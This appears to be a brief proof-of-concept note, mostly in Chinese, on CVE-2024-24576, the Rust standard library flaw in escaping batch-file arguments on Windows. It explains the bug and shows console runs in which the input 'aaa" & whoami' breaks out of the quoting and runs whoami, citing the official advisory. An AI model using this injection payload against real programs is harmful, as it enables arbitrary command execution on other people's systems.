
Example of CVE-2024-24576 use case.
Command::arg 和 Command::args API 在文档中声明,参数将原封不动地传递给派生进程,无论参数内容如何,并且不会被 shell 求值。这意味着将不受信任的输入作为参数传递应该是安全的。
在 Windows 上,此实现的复杂度高于其他平台,因为 Windows API 仅提供一个包含所有参数的单一字符串给派生进程,由派生进程自行拆分。大多数程序使用标准 C 运行时 argv,实际上会导致参数拆分方式基本一致。
但有一个例外是 cmd.exe(用于执行批处理文件等),它有自己的参数拆分逻辑。这迫使标准库实现针对批处理文件参数的自定义转义。不幸的是,报告称我们的转义逻辑不够彻底,可能传递恶意参数导致任意 shell 执行。
运行 main.rs 文件并输入以下 payload:
C:\Users\frost\testing>cargo run
Compiling testing v0.1.0 (C:\Users\frost\testing)
Finished dev [unoptimized + debuginfo] target(s) in 0.49s
Running `target\debug\testing.exe`
enter payload here
aaa
Output:
Argument received: aaa
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa & whoami
Output:
Argument received: "aaa & whoami"
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa" & whoami
Output:
Argument received: "aaa\"
desktop-8j2vk8b\frost
注意转义后的参数包含 " whoami
非本人发现!
来源: https://github.com/rust-lang/rust/security/advisories/GHSA-q455-m56c-85mh https://www.bleepingcomputer.com/news/security/critical-rust-flaw-enables-windows-command-injection-attacks/